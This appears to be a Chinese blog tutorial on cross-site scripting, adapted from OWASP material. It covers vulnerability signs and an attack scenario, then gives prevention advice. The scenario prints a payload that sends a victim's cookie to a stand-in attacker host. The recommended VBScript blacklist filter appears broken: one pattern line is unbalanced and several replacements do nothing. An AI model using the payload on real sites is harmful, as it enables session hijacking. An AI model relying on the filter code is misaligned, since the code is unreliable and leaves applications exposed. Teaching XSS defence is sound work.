Web應(yīng)用安全 二 XSS攻擊

XSS攻擊(跨站腳本)

當(dāng)應(yīng)用程序收到含有不可信的數(shù)據(jù),在沒(méi)有進(jìn)行適當(dāng)?shù)尿?yàn)證和轉(zhuǎn)義的情況下,就將它發(fā)送給一個(gè)網(wǎng)頁(yè)瀏覽器,或者使用可以創(chuàng)建javaScript腳本的瀏覽器API利用用戶(hù)提供的數(shù)據(jù)更新現(xiàn)有網(wǎng)頁(yè),這就會(huì)產(chǎn)生跨站腳本攻擊。XSS允許攻擊者在受害者的瀏覽器上執(zhí)行腳本,從而劫持用戶(hù)會(huì)話(huà)、危害網(wǎng)站或者將用戶(hù)重定向到惡意網(wǎng)站。

XSS攻擊

我存在XSS漏洞嗎?

如果你的服務(wù)器端代碼使用用戶(hù)提供的輸入作為HTML輸出的一部分,而你不要使用敏感的轉(zhuǎn)義,以確保它不能運(yùn)行,那么你就存在了服務(wù)器端XSS漏洞。如果一個(gè)網(wǎng)頁(yè)使用JavaScript來(lái)動(dòng)態(tài)添加攻擊者—可控的數(shù)據(jù)到一個(gè)網(wǎng)頁(yè),你可能有客戶(hù)端XSS。理想情況下,最好避免將攻擊者可控的數(shù)據(jù)發(fā)送到不安全的JavaScriptAPI,也可以通過(guò)轉(zhuǎn)義(在較小程度上)輸入驗(yàn)證加強(qiáng)安全。
自動(dòng)化工具能夠自動(dòng)找到一些跨站腳本漏洞。然而,每一個(gè)應(yīng)用程序使用不同的方式生成輸出頁(yè)面,并且使用不同的瀏覽器端解釋器,如JavaScript、ActiveX、Flash和Silverlight,這使得自動(dòng)檢測(cè)變得很困難。通常使用建立在這些庫(kù)之上的第三方庫(kù),這種多樣性使得自動(dòng)化檢測(cè)困難,特別是使用現(xiàn)代單頁(yè)應(yīng)用程序時(shí)功能強(qiáng)大的JavaScript框架和庫(kù)。因此,要想達(dá)到全面覆蓋,須使用結(jié)合的方式,在自動(dòng)檢測(cè)的基礎(chǔ)上,采用人工代碼審核和手動(dòng)滲透測(cè)試。

攻擊案例場(chǎng)景

應(yīng)用程序在下面HTML代碼段的構(gòu)造中使用未經(jīng)驗(yàn)證或轉(zhuǎn)義的不可信的數(shù)據(jù):
(String)page+="<inputname='creditcard'type='TEXT‘value='"+request.getParameter("CC")+"'>";
攻擊者在瀏覽器中修改“CC”參數(shù)為如下值:
'><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'.
這個(gè)攻擊導(dǎo)致受害者的會(huì)話(huà)ID被發(fā)送到攻擊者的網(wǎng)站,使得攻擊者能夠劫持用戶(hù)當(dāng)前會(huì)話(huà)。
請(qǐng)注意攻擊者同樣能使用跨站腳本攻破應(yīng)用程序可能使用的任何跨站請(qǐng)求偽造(CSRF)防御機(jī)制。

如何防止XSS?

防止XSS需要將不可信數(shù)據(jù)與動(dòng)態(tài)的瀏覽器內(nèi)容區(qū)分開(kāi)。

  1. 為了避免服務(wù)器XSS,最好的辦法是根據(jù)數(shù)據(jù)將要置于的HTML上下文(包括主體、屬性、JavaScript、CSS或URL)對(duì)所有的不可信數(shù)據(jù)進(jìn)行恰當(dāng)?shù)霓D(zhuǎn)義(escape)。
  2. 為了避免客戶(hù)端XSS,最好的選擇是避免傳遞不受信任的數(shù)據(jù)到JavaScript和可以生成活動(dòng)內(nèi)容的其他瀏覽器API。如果這種情況不能避免,可以采用OWASPDOMbasedXSSPreventionCheatSheet描述的類(lèi)似上下文敏感的轉(zhuǎn)義技術(shù)應(yīng)用于瀏覽器API。
  3. 通常防止腳本如下:
Function XSSRequest(id)
XSSRequest=checkXSS_II(Request(id),3) '3代表循環(huán)次數(shù),用遞歸更合理
end function

function checkXSS_II(strHTML,times) '<scr<script>ipt>alert('456');</script> 防止嵌套多個(gè)<script>
    If Isnull(strHTML) Then
        checkXSS_II = ""
        Exit Function 
    End If
    for cx=1 to times
        strHTML=checkXSSF(strHTML)
    next 
    checkXSS_II=strHTML 
end function

Function checkXSSF(strHTML)
    If Isnull(strHTML) Then
        checkXSSF = ""
        Exit Function 
    End If  

    'strHTML=server.HTMLEncode (strHTML)
    
    Dim objRegExp,strOutput,Matches    
    Set objRegExp=New Regexp   
    objRegExp.IgnoreCase=true   
    objRegExp.Global=True  
 
    objRegExp.Pattern = Chr(0)
    strOutput = objRegExp.Replace(strHTML, "")  
    objRegExp.Pattern = "<" 
    strOutput = objRegExp.Replace(strOutput, "")
    objRegExp.Pattern = "<script>"
    strOutput = objRegExp.Replace(strOutput, "")
    objRegExp.Pattern = "</script>"
    strOutput = objRegExp.Replace(strOutput, "")
    objRegExp.Pattern = "<script"      
    strOutput = objRegExp.Replace(strOutput, "")
    objRegExp.Pattern = "</script"  
    strOutput = objRegExp.Replace(strOutput, "")
    objRegExp.Pattern = "script>"
    strOutput = objRegExp.Replace(strOutput, "")
    objRegExp.Pattern = ">"  
    strOutput = objRegExp.Replace(strOutput, "")
    objRegExp.Pattern = """ 
    strOutput = objRegExp.Replace(strOutput, """")
    objRegExp.Pattern = "<object"
    strOutput = objRegExp.Replace(strOutput, "")
    objRegExp.Pattern = "</object>"
    strOutput = objRegExp.Replace(strOutput, "")
    objRegExp.Pattern = "<"
    strOutput = objRegExp.Replace(strOutput, "<")
    objRegExp.Pattern = ">"
    strOutput = objRegExp.Replace(strOutput, ">")
    strOutput = Replace(strOutput,"alert(","")
    checkXSSF =strOutput
    Set objRegExp=Nothing   
End Function


最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 前段時(shí)間在學(xué)習(xí)Web安全方面的知識(shí),對(duì)這方面有了進(jìn)一步的了解,決定寫(xiě)文章記錄下來(lái),只是對(duì)Web安全方面知識(shí)的一些總...
    邱振源的博客閱讀 1,326評(píng)論 0 1
  • 跨站腳本(XSS)是web應(yīng)用中的一種典型的計(jì)算機(jī)安全漏洞。XSS允許攻擊者可以在其他用戶(hù)瀏覽的web頁(yè)面中注入客...
    留七七閱讀 8,321評(píng)論 1 26
  • 寫(xiě)著玩 安全問(wèn)題其實(shí)是很多程序員想了解又容易忽略的問(wèn)題,以下介紹一些常見(jiàn)的安全問(wèn)題和解決方案,當(dāng)然有的問(wèn)題使用阿...
    芒果哥哥哈閱讀 10,554評(píng)論 2 5
  • 對(duì)網(wǎng)站發(fā)動(dòng)XSS攻擊的方式有很多種,僅僅使用php的一些內(nèi)置過(guò)濾函數(shù)是對(duì)付不了的,即使你將filter_var,m...
    dreamer_lk閱讀 7,792評(píng)論 0 6
  • 今晚的通核課有好多收獲 關(guān)于愛(ài)情 嗯要多看書(shū)呢 然后六月希望是新的開(kāi)始 然后還是要做好自己吧有自己的節(jié)奏和理想做自...
    文字是本命耶閱讀 164評(píng)論 0 1

友情鏈接更多精彩內(nèi)容